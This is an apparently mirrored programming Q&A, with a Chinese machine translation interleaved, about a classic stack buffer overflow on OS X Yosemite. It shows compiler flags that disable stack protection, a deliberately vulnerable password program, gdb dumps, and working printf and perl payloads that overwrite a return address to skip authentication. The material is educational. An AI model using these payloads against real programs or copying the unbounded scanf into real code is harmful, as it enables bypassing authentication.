[英]Stack smashing on OS X Yosemite?
I'm having trouble figuring out how to disable stack protection on OS X 10.10.5 (Yosemite).我无法弄清楚如何在 OS X 10.10.5 (Yosemite) 上禁用堆栈保护。 I've sort of been cobbling together promising gcc flags from various threads online, but as of yet haven't managed to disable the protection.
我一直在拼凑来自各种在线线程的有希望的 gcc 标志,但到目前为止还没有设法禁用保护。 I am currently compiling my program with:
我目前正在编译我的程序:
gcc -g3 -std=c99 -pedantic -Wall -m32 -fno-stack-protector -fno-sanitize=address -D_FORTIFY_SOURCE=0 -Wl,-no_pie -o program program.c
But when I try to smash the stack I segfault.但是当我尝试粉碎堆栈时,我出现了段错误。
I have tried the same program on Red Hat Enterprise Linux Server 7.2 (Maipo), and after adjusting for memory address differences where appropriate, have had no problems smashing the stack after compiling with:我在 Red Hat Enterprise Linux Server 7.2 (Maipo) 上尝试了相同的程序,并在适当地调整了内存地址差异后,在编译后粉碎堆栈没有问题:
gcc -g3 -std=c99 -pedantic -Wall -m32 -fno-stack-protector -o program program.c
It's also probably worth noting that, as on most Macs, gcc on my machine is a symlink to clang (Apple LLVM version 7.0.0 (clang-700.0.72)).还可能值得注意的是,与在大多数 Mac 上一样,我机器上的 gcc 是 clang(Apple LLVM 版本 7.0.0 (clang-700.0.72))的符号链接。
How can I disable Yosemite's stack protection?如何禁用 Yosemite 的堆栈保护?
The dummy program I'm working with is:我正在使用的虚拟程序是:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int authenticate() {
char password[10];
printf("Enter password: ");
scanf("%s", password);
return strcmp(password, "1234567890") == 0;
}
void success() {
printf("Access granted\n");
exit(0);
}
void failure() {
printf("Access denied\n");
exit(1);
}
int main(int argc, char** argv) {
if (authenticate()) {
success();
} else {
failure();
}
}
When I run otool -tv program
, I note the following:当我运行
otool -tv program
,我注意到以下几点:
The success
routine to which I want to jump is at address 0x00001e70
.我要跳转到的
success
例程位于地址0x00001e70
。
The instruction to which we would normally return after authenticate
is at address 0x00001efe
.我们通常在
authenticate
后返回的指令位于地址0x00001efe
。
When I run gdb
after entering the dummy password "xxxxxxxxxx" and inspecting the buffer with x/30xb &password
, I observe:当我在输入虚拟密码“xxxxxxxxxx”并使用
x/30xb &password
检查缓冲区后运行gdb
,我观察到:
0xbffffc32: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0xbffffc3a: 0x78 0x78 0x00 0x00 0x00 0x00 0x00 0x00
0xbffffc42: 0x00 0x00 0xfc 0xfc 0xff 0xbf 0x68 0xfc
0xbffffc4a: 0xff 0xbf 0xfe 0x1e 0x00 0x00
We want to overwrite the 27th 0xfe
byte to be 0x70
.我们想将第 27 个
0xfe
字节覆盖为0x70
。
When I try to smash the stack as follows:当我尝试按如下方式粉碎堆栈时:
printf "xxxxxxxxxxxxxxxxxxxxxxxxxx\x70" | ./program # 26 bytes of junk, followed by 0x70
I get a segfault.我遇到了段错误。
The OS X ABI requires that system calls (such as the one to exit
in success
) be issued from a 16-byte-aligned stack. OS X ABI 要求从 16 字节对齐的堆栈发出系统调用(例如
success
exit
调用)。 When you jump into success, you get off by 4 bytes because it doesn't have another return address sitting on the stack (ie, you're supposed to call
the function)当您跳转到成功时,您会减少 4 个字节,因为它没有另一个位于堆栈中的返回地址(即,您应该
call
该函数)
The fix for this is to jump to a call to success
in a higher stack frame.对此的解决方法是跳转到更高堆栈帧中的
success
调用。 Jumping to the one in main works for me:跳转到我的主要作品:
(gdb) disas main
Dump of assembler code for function main:
0x00001ed0 <+0>: push %ebp
0x00001ed1 <+1>: mov %esp,%ebp
0x00001ed3 <+3>: sub $0x18,%esp
0x00001ed6 <+6>: mov 0xc(%ebp),%eax
0x00001ed9 <+9>: mov 0x8(%ebp),%ecx
0x00001edc <+12>: movl $0x0,-0x4(%ebp)
0x00001ee3 <+19>: mov %ecx,-0x8(%ebp)
0x00001ee6 <+22>: mov %eax,-0xc(%ebp)
0x00001ee9 <+25>: call 0x1df0 <authenticate>
0x00001eee <+30>: cmp $0x0,%eax
0x00001ef1 <+33>: je 0x1f01 <main+49>
0x00001ef7 <+39>: call 0x1e60 <success>
0x00001efc <+44>: jmp 0x1f06 <main+54>
0x00001f01 <+49>: call 0x1e90 <failure>
0x00001f06 <+54>: mov -0x4(%ebp),%eax
0x00001f09 <+57>: add $0x18,%esp
0x00001f0c <+60>: pop %ebp
0x00001f0d <+61>: ret
Then return to the call 0x1ef7
instruction:然后返回
call 0x1ef7
指令:
$ perl -e 'print "P"x26, "\xf7\x1e"' | ./stack
Enter password: Root access has been granted
$
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.